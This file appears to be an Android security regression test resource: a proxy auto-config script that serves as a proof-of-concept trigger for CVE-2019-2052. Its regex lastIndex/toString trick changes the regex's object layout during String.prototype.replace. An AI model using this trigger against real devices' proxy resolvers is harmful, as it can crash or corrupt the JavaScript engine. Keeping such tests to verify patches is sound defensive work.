hostsidetests/securitybulletin/res/CVE-2019-2052.pac

/*
 * Copyright (C) 2019 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

function FindProxyForURL(url, host){
    for(var i = 0;i < 0x1000;i++){
        tt();
    }

    return "DIRECT";
}

function tt(){
    var evil_o = {};
    var reg = /abc/y;
    var num = {};
    num.toString = function(){
	    change_to_dict();
	    return 0x0;
    }


    function change_to_dict(){
	    for(var i = 0;i < 0x100;i++){
		    reg["a"+i.toString(16)] = i;
	    }
    }

    evil_o.toString = function(){
	    //change_to_dict();
	    reg.lastIndex = num;
	    return "abc".repeat(0x1000);
    }

    String.prototype.replace.call(evil_o,reg,function(){});
}